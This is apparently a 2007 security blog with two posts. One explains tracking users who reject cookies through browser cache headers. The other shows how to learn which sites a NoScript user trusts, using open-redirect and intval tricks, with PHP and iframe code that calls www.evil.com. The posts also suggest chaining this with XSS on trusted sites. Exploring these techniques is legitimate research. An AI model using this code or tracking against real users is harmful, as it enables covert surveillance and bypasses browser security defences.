Saturday, May 19, 2007

Tracking users with Cache Data

There are several methods that browsers and web servers use to speed up browsing, so that less data needs to be transfered over the network, two of these methods are the ETag/If-None-Match and Last-Modified/If-Modified-Since headers. The premise is fairly simple for both.

With the ETag/If-None-Match headers, the server simply sends an ETag header for a resource the first time it is requested, and then sends the page - the next time the browser needs the same resource it sends an If-None-Match header, and sends the parameter the server returned in the ETag response header, as the parameter for the If-None-Match request header.

If the server responds with a 304 Not Modified status, and does not return a message body (it MUST NOT return a message body), then the ETag is preserved in the cache, and the browser will keep sending the same If-None-Match header until the cache is deleted, as long as it keeps getting 304 replies.

The system is identical, just with different header names for the Last-Modified/If-Modified-Since headers.

Sadly though, the ETag/if-None-Match headers are only supported by Firefox, whereas the Last-Modified/If-Modified-Since headers are supported in Firefox and IE - to my knowledge (through my testing) none of these headers are supported in Opera.

As such it would be better to use the Last-Modified/If-Modified-Since headers.

All you need to do now is embed a tracking image in each page, and send a unique date each time no If-Modified-Since header is sent, and a blank 304 response at all other times.

The biggest problem here though is that you do need a separate http request, and as such the only way to associate requests is per IP and time frame, e.g. any request made <=10 seconds before the request for a particular date/etag from, the same IP, is the same user. You could also try using the Referer header, but the odds of someone denying cookies, but sending Referers is very low, IMO.

You could also use Javascript instead of images, and then you would be able to link requests more easily, but it would require you make an additional request from that page with the URL in the query string and tracking id, or similar.

You would still need to use one of these techniques though, because you need to serve different pieces of javascript to different people, and have that piece of javascript cached as long as possible.

But even given this, this allows you a method to track users who deny cookies between browsing sessions - for tighter correlation during browsing sessions you could use Jeremiah Grossman's Basic Auth Tracking

P.S. This is stored with the other cache data, so this will only work as long as the image/resource is cached, and clearing the ache manually (or turning the cache off) will stop this technique.

Wednesday, May 16, 2007

Determining sites trusted by NoScript

With the (relatively) new XSS filter added to NoScript it has become possible to determine whether a site is trusted or untrusted by seeing if NoScript decides to take action - of course this is not 100% accurate, since all these features can be turned off, but if they are turned off then you can execute some attacks anyway.

Open Redirect



The easiest method to determine whether a site is trusted is to use an open redirect, because you have control over where a site is sending a user, and as such can use the following two pieces of code to check whether google.com.au is trusted:

detect.php:
<html>
<body>
<iframe src="http://www.google.com.au/local_url?q=http://www.evil.com/XSS/query.php%3FServer_Generated_ID=%3Cscript%3E%26"></iframe>
</body>
</html>


query.php:
<?php
if (strpos($_SERVER['QUERY_STRING'], "=") !== FALSE) {
print "Untrusted!";
} else {
print "Trusted!<br />\n";
print "For ID: ".$_SERVER['QUERY_STRING'];
}

?>


The server generated id is not even actually necessary since you can just store the info in a PHP session, but it is possible to 'attack' people who even have cookies disabled.

Non-Open Redirects



Now, a much more difficult task is attacking non-open redirects. Two things which limit this are:
  • We cannot use Javascript to determine where you've been.

  • We cannot actually pass a parameter to where we will be redirected.


The solution to the first problem lies here: http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/

The solution to the second problem is a bit trickier, and relies on the 'usual' implementation of these systems, rather than a versatile technique.

Most systems which perform closed redirection have URLs which look like:
http://www.site.com/redir.php?id=123

Where the id value is first run through intval(), then put directly into an SQL statement.

Now, we can exploit this fact by sending people to a URL like this:
http://www.site.com/closedredir.php?id=123%26id=%3Cscript%3E

Whereby if the www.site.com is trusted then we will not be redirected anywhere because the URL will be filtered to look like this:
http://www.site.com/redir.php?id=%3F123%26id%3D

And since the id does not begin with a digit, the value of the variable, once put through intval() is 0, and either no redirect, or a completely different redirect will be done.

If the site is untrusted though, then the URL will be unfiltered, and when the id is run through intval, it will evaluate to 123, and so the user will be redirected to the usual place.

Controlled Off-Site Resources


If you can control any off-site resources such as images which a site embeds, then simply putting an ID in one parameter, and <script> in another, will cause the referer to be different on Trusted and Untrusted sites.

Generic Method


The methods above though all rely on a webapp having some kind of specific web feature, and while they're interesting (and that is the reason I included them), a generic method will prove far more useful.

And this generic method is extremely simple; just use the non-javascript history hack to find out what exact URLs a person has been to.

If you send a user to:
http://www.site.com/page.php?param=%3Ctest%3E

And the history hack says the user has been to
http://www.site.com/page.php?param=%20test%20

Then the site is obviously trusted.

Uses


These techniques can be used to either gather data about the user ala the Master Recon Tool (Mr. T) or the Black Dragon Project, or more importantly aid an attacker in bypassing NoScript's filters by finding which sites are trusted, and then either using those sites as a means of propagation (i.e. Emailing/PM-ing a user a link), or by sending a user to a persistent or DOM Based XSS on one of those sites.

Final notes


Since we do not have Javascript we need to be a bit tricky on how to actually use the info. The cleanest method is if you have a persistent or DOM based XSS in another site, then instead of simply sending data back to your server to be analysed you can have the CSS only History hack render an iframe which loads an iframe from your server, which redirects the user to the persistent or DOM based XSS in the trusted site.

The other method is having a iframe which refreshes every 5 seconds, which sends a request to the server, and the server will then try to aggregate all the data its collected, and act on it.

Why would you want to do this rather than sending the user to every single persistent and DOM based XSS condition you have?

Beats me; I just thought this was interesting.....